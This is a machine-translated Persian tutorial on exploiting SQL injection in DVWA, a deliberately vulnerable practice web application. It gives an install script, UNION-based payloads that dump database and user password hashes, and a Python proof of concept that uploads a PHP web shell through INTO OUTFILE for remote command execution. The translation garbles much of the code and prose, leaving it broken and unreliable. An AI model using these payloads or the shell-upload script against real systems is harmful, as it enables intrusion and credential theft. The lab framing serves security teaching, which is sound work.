لعنت نرم افزار های آسیب پذیر وب سایت وب سایت – تزریق SQL
نویسنده:
اشفق انصاری

نقد و مرور:
رتبه:
5
بر اکتبر 1, 2012
تاریخ و زمان آخرین اصلاح شده:ژانویه 18, 2013

خلاصه:

گام به گام و روش خودکار برای انجام حمله تزریق SQL در لعنت برنامه آسیب پذیر تحت وب.

معرفی

لعنت نرم افزار های آسیب پذیر وب سایت وب سایت (DVWA) است پی اچ پی / خروجی زیر برنامه تحت وب است که لعنتی آسیب پذیر است و می تواند باعث سوء استفاده easily.Its اهداف اصلی عبارتند از به عنوان یک کمک برای حرفه ای امنیتی برای تست مهارت ها و ابزار خود را در یک محیط قانونی, کمک به توسعه دهندگان وب بهتر درک فرآیندهای تامین امنیت برنامه های کاربردی وب و کمک معلمان / دانش آموزان به تدریس / یادگیری امنیت برنامه تحت وب در محیط آزمایشگاه.

هشدار!

لعنت نرم افزار های آسیب پذیر وب سایت وب سایت لعنتی آسیب پذیر است! آیا آن را به ارائه دهنده خدمات میزبانی خود را آپلود کنید public_html هاست پوشه و یا هر وب سرور آن را به عنوان هک خواهد شد. توصیه من دانلود و نصب XAMPP بر روی یک ماشین محلی در داخل شبکه خود را که صرفا برای تست استفاده می شود.
ما مسئولیت برای روشی که در آن با استفاده از هر یک را ندارد لعنت نرم افزار های آسیب پذیر وب سایت وب سایت (DVWA). ما را ساخته اند اهداف برنامه روشن و باید آن را بدتر استفاده نمی. ما هشدارها و اقدامات انجام شده برای جلوگیری از دسترسی کاربران نصب DVWA داده شده به زندگی می کنند وب سرور. اگر وب سرور شما به خطر بیافتد از طریق نصب و راه اندازی DVWA آن است که مسئولیت ما نیست این مسئولیت از کسی که آپلود و نصب آن است.

نصب

به طور کلی ما باید XAMPP سرور برای راه اندازی برنامه تحت وب لعنتی آسیب پذیر، اما XAMPP سرور چیزی نیست جز مجموعه ای است از یکی از قبایل سرخ پوست امریکا, SQL, پرل, پی اچ پی, OpenSSL و دیگر نرم افزار سمت سرور است، اما رد گم کردن 5 همه از این نرم افزار نصب شده. این معنی است که بدون نیاز به نصب XAMPP بر روی دستگاه رد گم کردن وجود دارد. همه شما باید انجام دهید این است که برای دریافت لعنت نرم افزار های آسیب پذیر وب سایت وب سایت و قرار دادن آن را در دایرکتوری ریشه از رد گم کردن 5.

اسکریپت bash فوق العاده در دسترس است که به طور خودکار تمام مراحل. با تشکر از: تراویس فیلیپس.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
#/bin/bash
پژواک ""
پژواک "# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #"
پژواک "# لعنت آسیب پذیر وب سایت نرم افزار نصب اسکریپت #"
پژواک "# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #"
پژواک "رمزی شده توسط: تراویس فیلیپس"
پژواک "وب سایت: HTTP://theunl33t.blogspot.com\N"
پژواک "تغییر توسط: اشفق انصاری\N"
پژواک "وب سایت: HTTP://hacksys.vfreaks.com\N"

پژواک "[*] تغییر دایرکتوری به / var / WWW ..."
سی دی /بود/WWW &پیداکنید; /توسعه تمدن/صفر
پژواک "انجام شد!\N"

پژواک -N "[*] ایجاد دایرکتوری DVWA ..."
mkdir dvwa &پیداکنید; /توسعه تمدن/صفر
پژواک "انجام شد!\N"

پژواک -N "[*] تغییر به دایرکتوری درجه حرارت ..."
سی دی /TMP
پژواک "انجام شد!\N"

پژواک "[*] دانلود DVWA ..."
دستور wget HTTP://voxel.dl.sourceforge.net/پروژه/dvwa/DVWA-1.0.7.zip
پژواک "انجام شد!\N"

پژواک -N "[*] : unzip کردن DVWA ..."
جدا کردن DVWA-1.0.7.zip &پیداکنید; /توسعه تمدن/صفر
پژواک "انجام شد!\N"

پژواک -N "[*] حذف فایل زیپ ..."
کنترل از راه دور DVWA-1.0.7.zip &پیداکنید; /توسعه تمدن/صفر
پژواک "انجام شد!\N"

پژواک -N "[*] کپی کردن dvwa به ریشه دایرکتوری وب سایت ..."
CP -R dvwa/* /بود/WWW/dvwa &پیداکنید; /توسعه تمدن/صفر
پژواک "انجام شد!\N"

پژواک -N "[*] پاکسازی پوشه موقت ..."
کنترل از راه دور -R dvwa &پیداکنید; /توسعه تمدن/صفر
پژواک "انجام شد!\N"

پژواک -N "[*] را قادر می سازد از راه دور عبارتند از در php.ini ..."
CP /غیره/PHP5/apache2 را/فایل php.ini اجرا شده /غیره/PHP5/apache2 را/php.ini1
تشنگی / واقعی شامل: = خاموش / واقعی شامل: روشن / /غیره/PHP5/apache2 را/php.ini1 &پیداکنید; /غیره/PHP5/apache2 را/فایل php.ini اجرا شده
کنترل از راه دور /غیره/PHP5/apache2 را/php.ini1
پژواک "انجام شد!\N"

پژواک -N "[*] فعال کردن ارسال مجوز به / var / WWW / dvwa / hackable / آپلود ..."
سطح دسترسی 777 /بود/WWW/dvwa/hackable/ارسال/
پژواک "انجام شد!\N"

پژواک -N "[*] شروع سرویس وب ..."
سرویس apache2 را شروع &آمپر;&پیداکنید; /توسعه تمدن/صفر
پژواک "انجام شد!\N"

پژواک -N "[*] شروع خروجی زیر ..."
خدمات مای شروع &آمپر;&پیداکنید; /توسعه تمدن/صفر
پژواک "انجام شد!\N"

پژواک -N "[*] به روز رسانی فایل پیکربندی ..."
CP /بود/WWW/dvwa/پیکربندی/config.inc.php /بود/WWW/dvwa/پیکربندی/config.inc.php1
تشنگی '/'\'\''/'\''تور'\''/' /بود/WWW/dvwa/پیکربندی/config.inc.php1 &پیداکنید; /بود/WWW/dvwa/پیکربندی/config.inc.php
کنترل از راه دور /بود/WWW/dvwa/پیکربندی/config.inc.php1
پژواک "انجام شد!\N"

پژواک -N "[*] به روز رسانی پایگاه داده ..."
دستور wget --پس از داده "create_db = ایجاد / تنظیم مجدد پایگاه داده" HTTP://127.0.0.1/dvwa/setup.php &آمپر;&پیداکنید; /توسعه تمدن/صفر
خروجی زیر -شما ریشه --رمز عبور='تور' 'dvwa.users به ​​روز رسانی نماد = "/ های کاربران hackable / / gordonb.jpg" که در آن کاربر = "gordonb به;'
خروجی زیر -شما ریشه --رمز عبور='تور' 'dvwa.users به ​​روز رسانی نماد = "/ های کاربران hackable / / smithy.jpg" که در آن کاربر = "اهنگر";'
خروجی زیر -شما ریشه --رمز عبور='تور' 'dvwa.users به ​​روز رسانی نماد = "/ های کاربران hackable / / admin.jpg" که در آن کاربر = "مدیر";'
خروجی زیر -شما ریشه --رمز عبور='تور' 'dvwa.users به ​​روز رسانی نماد = "/ های کاربران hackable / / pablo.jpg" که در آن کاربر = "پابلو";'
خروجی زیر -شما ریشه --رمز عبور='تور' 'dvwa.users های به روز رسانی نماد = "/ hackable/users/1337.jpg" که در آن کاربر = "1337";'
پژواک "انجام شد!\N"

پژواک -N "[*] که فایرفاکس برای DVWA شروع\Nنام کاربری: مدیر\Nرمز عبور: رمز عبور"
فایرفاکس HTTP://127.0.0.1/dvwa/login.php &آمپر;&پیداکنید; /توسعه تمدن/صفر &آمپر;
پژواک "\Nانجام شده!\N"
پژواک "[\033[1;32متر * 033[1;37متر] DVWA نصب به پایان رسید!\N"

DVWA است که با موفقیت نصب شده, اجازه دهید حرکت به تزریق SQL. سه سطح تزریق SQL در لعنت برنامه آسیب پذیر تحت وب وجود دارد (کم, متوسط ​​و بالا). در این پست ما توضیح دهید که چگونه به شکست سطح پایین.

کد آسیب پذیر

1
2
3
4
5
6
$شناسایی=$_GET['شناسه'];

$getid="SELECT FIRST_NAME, LAST_NAME از کاربران که USER_ID = '$شناسایی'";
$نتیجه=MYSQL_QUERY($getid) یا die('
<قبل>'
. mysql_error() . '</قبل>
'
);

کد بالا آسیب پذیر شده است تزریق SQL. همانطور که می بینید هیچ مایع استفاده می شود وجود دارد, متغیر است که به سادگی مستقیما به پرس و جوی SQL قرار داده است.

بیایید تایید آن است که آیا در معرض خطر تزریق SQL:

آی دی کاربر: ‘

صفحه بازگشت پیغام خطای زیر:

شما دارای یک اشکال در نحو گذاشتن شما; برای نحو حق نزدیک استفاده از کتابچه راهنمای کاربر که مربوط به نسخه MySQL سرور شما را چک ””’ در خط 1

این تایید می کند که آن آسیب پذیر شده است به تزریق SQL, اولین چیزی که برای انجام شده است پیدا کردن چند ستون وجود دارد:

آی دی کاربر: ‘ ORDER BY 1#
آی دی کاربر: ‘ ORDER BY 2#

این به سادگی همان صفحه بازگشت.

آی دی کاربر: ‘ ORDER BY 3#

سپس این می دهد یک پیغام خطا ارزشمند ما:

ستون ناشناخته '3’ در 'بند سفارش’

از این رو, دو ستون وجود دارد, که بدیهی است FIRST_NAME و ستون های LAST_NAME به عنوان زمانی که شما تصویب آی دی کاربر: تشکیل یک ID کاربر معتبر (1) به عنوان مثال شما این را دریافت کنید:

شناسایی: 1
نام: مدیر
نام خانوادگی: مدیر

راست, در حال حاضر وقت خود را برای پیدا کردن نام پایگاه داده, نام جدول, نام ستون و هر چیز دیگری مفید و جالب. اولین چیزی که برای اولین بار اجازه دهید پیدا کردن نسخه پایگاه داده:

شناسایی: ‘ UNION ALL SELECT 1، @ @ VERSION #
نام: 1
نام خانوادگی: 5.1.41-3ubuntu12.10

پس از آن با استفاده از خروجی زیر 5.1.41-3 بر اوبونتو. اجازه می دهد که پیدا کردن کاربر از پایگاه داده در حال اجرا است به عنوان و نام پایگاه داده ما در برخورد با:

شناسایی: ‘ UNION ALL SELECT کاربر است(),پایگاه داده()#
نام: ریشه @ localhost را
نام خانوادگی: dvwa

کاربر پایگاه داده است ریشه و پایگاه داده ما با نگران است dvwa. از آنجا که کاربر ریشه اجازه روگرفت خروجی زیر هش:

شناسایی: ‘ UNION ALL SELECT کاربر است,رمز عبور از mysql.user در #
نام: ریشه
نام خانوادگی: *9CFBBC772F3F6C106020035386DA5BBBF1249A11

شناسایی: ‘ UNION ALL SELECT کاربر است,رمز عبور از mysql.user در #
نام: ریشه
نام خانوادگی: *9CFBBC772F3F6C106020035386DA5BBBF1249A11

شناسایی: ‘ UNION ALL SELECT کاربر است,رمز عبور از mysql.user در #
نام: ریشه
نام خانوادگی: *9CFBBC772F3F6C106020035386DA5BBBF1249A11

شناسایی: ‘ UNION ALL SELECT کاربر است,رمز عبور از mysql.user در #
نام: دبیان-SYS-نگهداری
نام خانوادگی: *8C4C424D182238AFBA8B217F692D07C952EF4087

شناسایی: ‘ UNION ALL SELECT کاربر است,رمز عبور از mysql.user در #
نام: ریشه
نام خانوادگی: *9CFBBC772F3F6C106020035386DA5BBBF1249A11

شناسایی: ‘ UNION ALL SELECT کاربر است,رمز عبور از mysql.user در #
نام: مدیر
نام خانوادگی: *9CFBBC772F3F6C106020035386DA5BBBF1249A11

چیز جالب! ما مخلوط passord ریشه کردم. ما می توانید استفاده کنید جان چاک دهنده کرک هش.

ما می دانیم که نام پایگاه داده است dvwa. بیایید پیدا کردن نام جدول:

شناسایی: ‘ UNION ALL SELECT table_schema,table_name از از information_schema.tables که در آن table_schema از دوست٪ dvwa٪’ #
نام: dvwa
نام خانوادگی: دفتر مهمان

شناسایی: ‘ UNION ALL SELECT table_schema,table_name از از information_schema.tables که در آن table_schema از دوست٪ dvwa٪’ #
نام: dvwa
نام خانوادگی: کاربران

دو میز در وجود دارد dvwa پایگاه داده به نام دفتر مهمان و کاربران

اکنون, اجازه دهید پیدا کردن ستون ها در کاربران جدول.

شناسایی: ‘ UNION ALL SELECT table_schema, ستون از information_schema.columns که در آن table_schema از دوست٪ dvwa٪’ #
نام: dvwa
نام خانوادگی: comment_id

شناسایی: ‘ UNION ALL SELECT table_schema, ستون از information_schema.columns که در آن table_schema از دوست٪ dvwa٪’ #
نام: dvwa
نام خانوادگی: توضیح

شناسایی: ‘ UNION ALL SELECT table_schema, ستون از information_schema.columns که در آن table_schema از دوست٪ dvwa٪’ #
نام: dvwa
نام خانوادگی: نام

شناسایی: ‘ UNION ALL SELECT table_schema, ستون از information_schema.columns که در آن table_schema از دوست٪ dvwa٪’ #
نام: dvwa
نام خانوادگی: USER_ID

شناسایی: ‘ UNION ALL SELECT table_schema, ستون از information_schema.columns که در آن table_schema از دوست٪ dvwa٪’ #
نام: dvwa
نام خانوادگی: FIRST_NAME

شناسایی: ‘ UNION ALL SELECT table_schema, ستون از information_schema.columns که در آن table_schema از دوست٪ dvwa٪’ #
نام: dvwa
نام خانوادگی: LAST_NAME

شناسایی: ‘ UNION ALL SELECT table_schema, ستون از information_schema.columns که در آن table_schema از دوست٪ dvwa٪’ #
نام: dvwa
نام خانوادگی: کاربر

شناسایی: ‘ UNION ALL SELECT table_schema, ستون از information_schema.columns که در آن table_schema از دوست٪ dvwa٪’ #
نام: dvwa
نام خانوادگی: رمز عبور

شناسایی: ‘ UNION ALL SELECT table_schema, ستون از information_schema.columns که در آن table_schema از دوست٪ dvwa٪’ #
نام: dvwa
نام خانوادگی: نماد

عالی, اجازه دهید تخلیه نام کاربری و رمز عبور از dvwa.users جدول. شروع کنیم.

شناسایی: ‘ UNION ALL SELECT کاربر است, رمز عبور از dvwa.users ها #
نام: مدیر
نام خانوادگی: 5f4dcc3b5aa765d61d8327deb882cf99

شناسایی: ‘ UNION ALL SELECT کاربر است, رمز عبور از dvwa.users ها #
نام: gordonb
نام خانوادگی: e99a18c428cb38d5f260853678922e03

شناسایی: ‘ UNION ALL SELECT کاربر است, رمز عبور از dvwa.users ها #
نام: 1337
نام خانوادگی: 8d3533d75ae2c3966d7e0d4fcc69216b

شناسایی: ‘ UNION ALL SELECT کاربر است, رمز عبور از dvwa.users ها #
نام: پابلو
نام خانوادگی: 0d107d09f5bbe40cade3de5c71e9e9b7

شناسایی: ‘ UNION ALL SELECT کاربر است, رمز عبور از dvwa.users ها #
نام: اهنگری
نام خانوادگی: 5f4dcc3b5aa765d61d8327deb882cf99

کار انجام شده. ما را با موفقیت ریخته اعتبار کاربر. ما ممکن است آنها را با استفاده از هر ترقه هش MD5 کرک.

HackSys تیم ب در پایتون را ایجاد کرده است که ایدز در تزریق SQL های خودکار در DVWA و پوسته می دهد بی درنگ که در آن ما می تواند دستورات پوسته به طور منظم اجرا.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
#!/usr / بن / پایتون
#________________________________________________
#    لعنت برنامه آسیب پذیر تحت وب - DVWA
#     تزریق SQL بهره برداری به RCE - را PoC
#   اشفق انصاری (hacksysteam@hotmail.com)                                            
#                                                                                          
#            (__)                                                                          
#            (گیم)   HTTP://hacksys.vfreaks.com /
#     /-------\/                                                                          
#    / |     ||                                                                            
#   *  ||----||                                                                            
#      ~~ ~~ قدرت HackSys تیم - Panthera
#________________________________________________
#
واردات سیستم, پریز, urllib, دوباره, urllib2, getpass, رشته, زمان, تصادفی, از base64
از optparse واردات OptionParser
از cookielib واردات CookieJar

descLogo = """
________________________________________________

     لعنت برنامه آسیب پذیر تحت وب - DVWA
           تزریق SQL به RCE - را PoC
   اشفق انصاری (hacksysteam@hotmail.com)

            (__)
            (گیم)  HTTP://hacksys.vfreaks.com /
     /-------\/
    / |     ||
   *  ||----||
      ~~ ~~ قدرت HackSys تیم - Panthera
________________________________________________

"""


#متغیرهای رنگ با دستور چاپ مورد استفاده قرار گیرد
RED= "\033[31متر" # قرمز
سبز= "\033[32متر" # سبز
سفید= "\033[0متر" # سفید
فیروزه ای = "\033[36متر" #فیروزه ای
PURPLE = "\033[35متر" #رنگ ارغوانی

#متغیرها
urlStart = "آسیب پذیری / SQLI / فایل index.php?ID ="
urlEnd = "&ثبت کردن = ارسال"
shellName = "fd7cb4cb0031ba249"
عوامل = ["Mozilla/4.0 (سازگار; ردیف آدرس آی پی نام 5.5; ویندوز NT 5.0)",
    "اینترنت اکسپلورر 7 (ویندوز ویستا); Mozilla/4.0 ",
    "گوگل کروم 0.2.149.29 (ویندوز ایکس پی)",
    "اپرا 9.25 (ویندوز ویستا)",
    "Mozilla/4.0 (سازگار; ردیف آدرس آی پی نام 7.0b; ویندوز NT 5.1)",
    "Opera/8.00 (ویندوز NT 5.1; شما; به)"]
عامل = تصادفی.انتخاب(عوامل)


#طریقه استفاده خلاصه کمک
استفاده = فیروزه ای + "/٪ PROG [<گزینه های>] -تی [هدف] -د [دایرکتوری]"
استفاده += "\Nمثال: ./%localhost را PROG-P:8080 -تی 192.168.1.15:8080 -D / dvwa /"

#گزینه های تجزیه کننده
تجزیه کننده = OptionParser(استفاده=استفاده)
تجزیه کننده.add_option("-P", نوع="رشته",اقدام="فروشگاه", DEST="پروکسی",
                  کمک="پروکسی HTTP <سرور:درگاه>")
تجزیه کننده.add_option("-T", نوع="رشته", اقدام="فروشگاه", DEST="هدف",
                  کمک="سرور هدف <سرور:درگاه>")
تجزیه کننده.add_option("د", نوع="رشته", اقدام="فروشگاه", DEST="DirPath",
                  کمک="مسیر دایرکتوری به لعنت نرم افزار های آسیب پذیر وب سایت وب سایت")
(گزینه های, استدلال) = تجزیه کننده.parse_args()


#تایپ متن - فقط برای تفریح
دف typingText(پیام به صورت متن, رنگ):
 
  امتحان:
    برای من به پیام به صورت متن:
      چاپ رنگ + "%بازدید کنندگان"%من,
      سیستم.دهید..خیط و پیت کردن()
      زمان.خواب(0.020)
  جز:
    عبور
 

اگر فقط(سیستم.و argv) < 5:
    typingText(descLogo, PURPLE)
    تجزیه کننده.print_help()
    سیستم.خروج(1)
   

#پروکسی کنترل
دف getProxy():
 
    امتحان:
        proxy_handler = urllib2.پروکسی هندلر({HTTP ': گزینه های.نماینده})
    جز(پریز.فاصله):
            چاپ RED + "\تیپروکسی پایان رسیده ...\N"
            سیستم.خروج(1)
    برگشت proxy_handler


#تست اتصال به پروکسی
دف testProxy():
 
    چاپ(فیروزه ای + "[+] تست پروکسی @٪ S ..." % (گزینه های.نماینده))
    باز کن = urllib2.build_opener(getProxy())
   
    امتحان:
      چک = باز کن.باز("HTTP://www.google.com").خواندن()
    جز:
      چک = 0
      عبور
   
    اگر چک >= 1:
      چاپ(سبز + "\تیپروکسی به کار ...\N")
    دیگر:
      چاپ RED + "\تیپروکسی شکست خورده است ... خروج!\N"
      سیستم.خروج(1)


#دریافت پاسخ از سرور
دف getServerResponse(CJ, targetURL, اطلاعات):
     
    اگر گزینه های.نماینده:
      امتحان:
    باز کن = urllib2.build_opener(getProxy(), urllib2.HTTPCookieProcessor(CJ))
    باز کن.addheaders = [(User-Agent بر, عامل)]
    چک = باز کن.باز(targetURL, اطلاعات).خواندن()
    برگشت چک
      جز:
    چاپ (RED + "\تیاتصال به پروکسی به هدف از راه دور شکست خورده است ...\N")
    سیستم.خروج(1)
    دیگر:
      امتحان:
    باز کن = urllib2.build_opener(urllib2.HTTPCookieProcessor(CJ))
    باز کن.addheaders = [(User-Agent بر, عامل)]
    چک = باز کن.باز(targetURL, اطلاعات).خواندن()
    برگشت چک
      جز:
    چاپ (RED + "\تیاتصال به هدف شکست خورده است, آدرس خود را بررسی کنید ...\N")
    سیستم.خروج(1)


#سعی کنید برای ورود به لعنت وب سایت برنامه آسیب پذیر
دف doLogin():
 
    چاپ(فیروزه ای + "[+] تلاش ورود به DVWA ...")
    targetURL = "HTTP://" + گزینه های.هدف + گزینه های.dirPath + "login.php"
    ارزش = {'نام کاربری' : 'مدیر', 'رمز عبور' : 'رمز عبور', 'ورود' : 'ورود'}
    اطلاعات = urllib.urlencode(ارزش)
    CJ = CookieJar()
   
    #دریافت پاسخ از سرور و ذخیره آن در یک متغیر
    respHTML = getServerResponse(CJ, targetURL, اطلاعات)
       
    اگر نه دوباره.جستجو("ورود شکست خورد", respHTML):
      زمان.خواب(1)
      typingText("\تیتایید موفقیت آمیز ...\N\N", سبز)
      برگشت CJ
    دیگر:
      زمان.خواب(1)
      typingText("\تیتأیید اعتبار را تکذیب کرد! خروج ...\N\N\N", RED)
      سیستم.خروج(1)


#سعی کنید به tamperthe سطح امنیت لعنت برنامه آسیب پذیر تحت وب
دف lowSecurity(adminCookie):
 
    چاپ(فیروزه ای + "[+] دستکاری امنیتی DVWA ...")
    targetURL = "HTTP://" + گزینه های.هدف + گزینه های.dirPath + "security.php"
    ارزش = {امنیت : 'کم', 'seclev_submit : 'ثبت کردن'}
    اطلاعات = urllib.urlencode(ارزش)
    CJ = adminCookie #استفاده از کوکی برای نگهداری اطلاعات استفاده از doLogin بازگشت() تابع
   
    #دریافت پاسخ از سرور و ذخیره آن در یک متغیر
    respHTML = getServerResponse(CJ, targetURL, اطلاعات)
   
    اگر دوباره.جستجو("سطح امنیتی در حال حاضر <به>کم</به>", respHTML):
      زمان.خواب(1)
      typingText("\تیسطح امنیت مجموعه موفق به کم ...\N\N", سبز)
    دیگر:
      زمان.خواب(1)
      typingText("\تیقادر به رشوه دادن سطح امنیتی! خروج ...\N\N", RED)
      سیستم.خروج(1)


#بررسی کنید در صورتی که هدف آسیب پذیر شده است به تزریق SQL است
دف testSQLinjection(adminCookie):
 
    چاپ(فیروزه ای + "[+] چک کردن اگر هدف آسیب پذیر شده است ...")
    injection_url = "1""
    targetURL = "HTTP://" + گزینه های.هدف + گزینه های.dirPath + urlStart + injection_url + urlEnd
    اطلاعات = ""
   
    CJ = adminCookie #استفاده از کوکی برای نگهداری اطلاعات استفاده از doLogin بازگشت() تابع

    #دریافت پاسخ از سرور و ذخیره آن در یک متغیر
    respHTML = getServerResponse(CJ, targetURL, اطلاعات)
   
    اگر دوباره.جستجو("اشکال در نحو گذاشتن شما", respHTML):
      زمان.خواب(1)
      typingText("\تیw00t -- هدف آسیب پذیر یافت می شود ...\N\N", سبز)
    دیگر:
      زمان.خواب(1)
      typingText("\تیo00w -- هدف آسیب پذیر نیست! خروج ...\N\N", RED)    
      سیستم.خروج(1)


#مشاهده جزئیات خروجی زیر
دف findMySQLInfo(adminCookie):
 
    چاپ(فیروزه ای + "[+] در Retriving اطلاعات خروجی زیر ...")
    injection_url = "1" UNION ALL SELECT concat_ws(0x3b,0x4861636b537973205465616d,کاربر(),پایگاه داده(),نسخه(),0x4861636b537973205465616d)%2C2 #"
    targetURL = "HTTP://" + گزینه های.هدف + گزینه های.dirPath + urlStart + injection_url + urlEnd
    اطلاعات = ""
   
    CJ = adminCookie #استفاده از کوکی برای نگهداری اطلاعات استفاده از doLogin بازگشت() تابع

    #دریافت پاسخ از سرور و ذخیره آن در یک متغیر
    respHTML = getServerResponse(CJ, targetURL, اطلاعات)
   
    # در حال حاضر اطلاعات جالبی استخراج
    get_secret_data = رشته.پیدا کردن(respHTML,  "تیم HackSys ها")
     
    # اگر هدف است خروج آسیب پذیر
    اگر get_secret_data == -1:
        typingText("\تیعملیات شکست خورد. خروج در حال حاضر ...\N\N", RED)
        سیستم.خروج(1)
         
    get_secret_data += 10
    new_html4= respHTML[get_secret_data :]
    new_get_secret_data4 = رشته.پیدا کردن(new_html4,  "تیم HackSys ها")
    new_html_5 = new_html4[:new_get_secret_data4]
             
    # اطلاعات دریافت شد, در حال حاضر فرمت و نمایش آن
    formatted_output = خیابان.انشعاب(new_html_5,  ";")
    زمان.خواب(1)
    چاپ سبز + "\تیپایگاه داده MySQL: ",  formatted_output[2]
    چاپ سبز + "\تیخروجی زیر نسخه : ",  formatted_output[3]
    چاپ سبز + "\تیپایگاه داده MySQL کاربری : ",  formatted_output[1]
    چاپ ""
    برگشت


#سعی کنید به تعداد رکورد را در جدول کاربران
دف findNoOfRecordsInTable(adminCookie):
       
    injection_url = "1" UNION ALL SELECT 1٪ 2C COUNT(*)+از کاربران ٪ 3B٪ 23"
    targetURL = "HTTP://" + گزینه های.هدف + گزینه های.dirPath + urlStart + injection_url + urlEnd
    اطلاعات = ""
   
    CJ = adminCookie #استفاده از کوکی برای نگهداری اطلاعات استفاده از doLogin بازگشت() تابع

    #دریافت پاسخ از سرور و ذخیره آن در یک متغیر
    respHTML = getServerResponse(CJ, targetURL, اطلاعات)
   
    # در حال حاضر اطلاعات جالبی استخراج
    get_secret_data = رشته.پیدا کردن(respHTML,  "<برزیلی>نام خانوادگی:")
    get_secret_data += 40    
    new_html = respHTML[get_secret_data :]
    new_get_secret_data = رشته.پیدا کردن(new_html,  "</قبل>\تحقیق\N\تحقیق\N\تی</DIV>")  
    new_html_2 = new_html[:new_get_secret_data]

    # اطلاعات دریافت شد, در حال حاضر فرمت و نمایش آن
    formatted_output = خیابان.انشعاب(new_html_2,  ": ")
    برگشت formatted_output[2]
   

#سعی کنید به روگرفت نام نام کاربری و رمز عبور از جدول کاربران
دف findUserPasswords(adminCookie, نمایه):
 
    injection_url = "1" UNION ALL SELECT 1٪ 2C concat_ws(0x3b,0x4861636b537973205465616d,user_id,first_name,last_name,user,password,0x4861636b537973205465616d)+از کاربران LIMIT " + خیابان(نمایه) + "23٪ 2C30٪ 3B٪"
    targetURL = "HTTP://" + گزینه های.هدف + گزینه های.dirPath + urlStart + injection_url + urlEnd
    اطلاعات = ""
   
    CJ = adminCookie #استفاده از کوکی برای نگهداری اطلاعات استفاده از doLogin بازگشت() تابع

    #دریافت پاسخ از سرور و ذخیره آن در یک متغیر
    respHTML = getServerResponse(CJ, targetURL, اطلاعات)
   
    # در حال حاضر اطلاعات جالبی استخراج
    get_secret_data = رشته.پیدا کردن(respHTML,  "تیم HackSys ها")
    get_secret_data += 10    
    new_html = respHTML[get_secret_data :]
    new_get_secret_data = رشته.پیدا کردن(new_html,  "تیم HackSys ها")    
    new_html_2 = new_html[:new_get_secret_data]

    # اطلاعات دریافت شد, در حال حاضر فرمت و نمایش آن
    formatted_output = خیابان.انشعاب(new_html_2,  ";")
    زمان.خواب(1)
    چاپ سبز + "\تیشناسه کاربر : ",  formatted_output[1]
    چاپ سبز + "\تینام: ",  formatted_output[2]
    چاپ سبز + "\تینام خانوادگی : ",  formatted_output[3]
    چاپ سبز + "\تینام کاربری: ",  formatted_output[4]
    چاپ سبز + "\تیمخلوط رمز عبور : ",  formatted_output[5]
    چاپ ""


#سعی کنید به آپلود یک tinyShell را برای حمله تعاملی
دف uploadShellViaSQLi(adminCookie):
 
    چاپ(فیروزه ای + "[+] آپلود شل از طریق SQLI ...")
   
    #XAMPP در ویندوز XP
    #injection_url = "1' UNION SELECT '', '<?php system($_GET["cmd"]); ?>' INTO OUTFILE 'C:xampphtdocsdvwashell.php';#"

    #لینوکس
    injection_url = "1٪ 27 UNION ALL SELECT ٪ 27٪ 27٪ 2C ٪ 27٪ 3C٪ سیستم 3Fphp (base64_decode(%24_GET[%22CMD٪ 22٪ 5D٪ 29٪ 29٪ 3B ٪ 3F٪ 3E٪ 27 به OUTFILE ٪ 27٪ 2Fvar٪ 2Fwww٪ 2Fdvwa٪ 2F" + shellName + "23. پی اچ پی٪ 27٪ 3B٪"
   
    targetURL = "HTTP://" + گزینه های.هدف + گزینه های.dirPath + urlStart + injection_url + urlEnd
    اطلاعات = ""
   
    CJ = adminCookie #استفاده از کوکی برای نگهداری اطلاعات استفاده از doLogin بازگشت() تابع

    #دریافت پاسخ از سرور و ذخیره آن در یک متغیر
    respHTML = getServerResponse(CJ, targetURL, اطلاعات)

    اگر دوباره.جستجو("<H3>شناسه کاربر:</H3>", respHTML):
      زمان.خواب(1)
      typingText("\تیw00t -- شل با موفقیت ارسال شده است ...\N\N", سبز)
    الیف دوباره.جستجو("در حال حاضر وجود دارد</قبل>", respHTML):
      زمان.خواب(1)
      typingText("\تیw00t -- شل در حال حاضر وجود دارد ...\N\N", سبز)  
    دیگر:
      زمان.خواب(1)
      typingText("\تیo00w -- قادر به آپلود پوسته ...\N\N", RED)
      سیستم.خروج(1)


#شروع جلسه حمله تعاملی
دف interactiveAttack(adminCookie):
 
  چاپ فیروزه ای + "[+] ورود کنسول های تعاملی از راه دور (Q را برای خروج)\N" + سفید + "\N  HackSys تیم - Panthera\N   نویسنده: اشفق انصاری\N  hacksysteam@hotmail.com\N HTTP://hacksys.vfreaks.com /\N\N"
